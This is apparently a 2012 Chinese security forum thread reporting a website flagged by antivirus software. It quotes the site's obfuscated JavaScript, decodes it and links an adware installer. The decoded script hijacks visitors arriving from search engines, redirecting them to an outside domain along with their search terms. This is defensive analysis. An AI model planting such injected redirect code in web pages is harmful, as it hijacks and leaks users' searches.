mse报 高危[恶意][by 帅就是帅]

AIRSHAPE

用搜狗打开hxxp://xunleilinju.com/
mse弹窗

帅就是帅

报如下加花代码:

1. <script language="JavaScript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('e r=x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g";4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6).o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>

复制代码

得:

1. ---------------------------
   
2. Message from webpage
   
3. ---------------------------
   
4. var r=document.referrer,t="",q;if(r.indexOf("google.")!=-1)t="q";if(r.indexOf("msn.")!=-1)t="q";if(r.indexOf("yahoo.")!=-1)t="p";if(r.indexOf("altavista.")!=-1)t="q";if(r.indexOf("aol.")!=-1)t="query";if(r.indexOf("ask.")!=-1)t="q";if(t.length&&((q=r.indexOf("?"+t+"="))!=-1||(q=r.indexOf("&"+t+"="))!=-1))window.location="ht"+"tp"+":/"+"/go"+"ogo"+"sea"+"rc"+"h."+"bi"+"z/s"+"ea"+"rc"+"h.p"+"hp?"+"t"+"y=1&t"+"er"+"ms="+r.substring(q+2+t.length).split("&")[0];
   
5. ---------------------------
   
6. OK   
   
7. ---------------------------
   

复制代码

属恶意.

Nocria

ESS blocked

firefox3

IDM直接下载
http://jump.559k.com/iclk/?zoneid=48328&uid=13482

刷新再进 下载 http://download.uusee.com/pop1/uustv/UUSEE_uustv_Setup_13482.exe

驴肉火烧

呃……现在貌似干净了，楼下有测试还报警的麻烦通知下

小虫a

EAGLE-16號

小A继续报....

AIRSHAPE

驴肉火烧 发表于 2012-4-4 14:26
呃……现在貌似干净了，楼下有测试还报警的麻烦通知下

你貌似悲剧了。。

驴肉火烧

AIRSHAPE 发表于 2012-4-5 17:57
你貌似悲剧了。。

我晕，再试试

驴肉火烧

AIRSHAPE 发表于 2012-4-5 17:57
你貌似悲剧了。。

第一次进没报，第二次进报了。这是嘛意思